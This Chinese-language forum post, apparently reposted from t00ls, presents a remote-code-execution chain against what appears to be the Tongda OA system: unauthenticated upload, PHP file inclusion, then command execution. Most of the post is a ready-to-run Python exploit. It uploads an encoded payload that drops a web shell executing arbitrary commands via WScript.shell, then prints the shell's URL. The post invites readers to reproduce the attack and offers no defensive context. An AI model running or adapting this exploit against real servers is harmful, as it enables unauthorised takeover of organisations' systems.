RCE思路如下:未授权上传文件(jpg)->php代码包含->rce
理论上是通杀,但是貌似2015版没有包含功能
大家可以复现了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import os import requests
shell = '''<?php $fp = fopen('poc.php', 'w+'); $a = base64_decode("JTNDJTNGcGhwJTBBJTI0Y29tbWFuZCUzRCUyNF9HRVQlNWIlMjdhJTI3JTVkJTNCJTBBJTI0d3NoJTIwJTNEJTIwbmV3JTIwQ09NJTI4JTI3V1NjcmlwdC5zaGVsbCUyNyUyOSUzQiUwQSUyNGV4ZWMlMjAlM0QlMjAlMjR3c2gtJTNFZXhlYyUyOCUyMmNtZCUyMC9jJTIwJTIyLiUyNGNvbW1hbmQlMjklM0IlMEElMjRzdGRvdXQlMjAlM0QlMjAlMjRleGVjLSUzRVN0ZE91dCUyOCUyOSUzQiUwQSUyNHN0cm91dHB1dCUyMCUzRCUyMCUyNHN0ZG91dC0lM0VSZWFkQWxsJTI4JTI5JTNCJTBBZWNobyUyMCUyNHN0cm91dHB1dCUzQiUwQSUzRiUzRQ=="); fwrite($fp, urldecode($a)); fclose($fp); ?> '''
url = input("input the TARGET(example:[url]https://127.0.0.1:1080[/url])>")
upload_url = url+"/ispirit/im/upload.php" include_url = url+"/ispirit/interface/gateway.php"
shell_url = url+"/ispirit/interface/poc.php" files = {'ATTACHMENT': shell}
upload_data = {"P": "123", "DEST_UID": "1", "UPLOAD_MODE": "2"}
upload_res = requests.post(upload_url, upload_data, files=files)
path = upload_res.text
path = path[path.find('@')+1:path.rfind('|') ].replace("_", "\/").replace("|", ".")
include_data = {"json": "{\"url\":\"/general/../../attach/im/" + path+"\"}"}
include_res = requests.post(include_url, data=include_data)
print('shell is here:'+shell_url+'?a=command')
|
转自:https://www.t00ls.net/thread-55458-1-1.html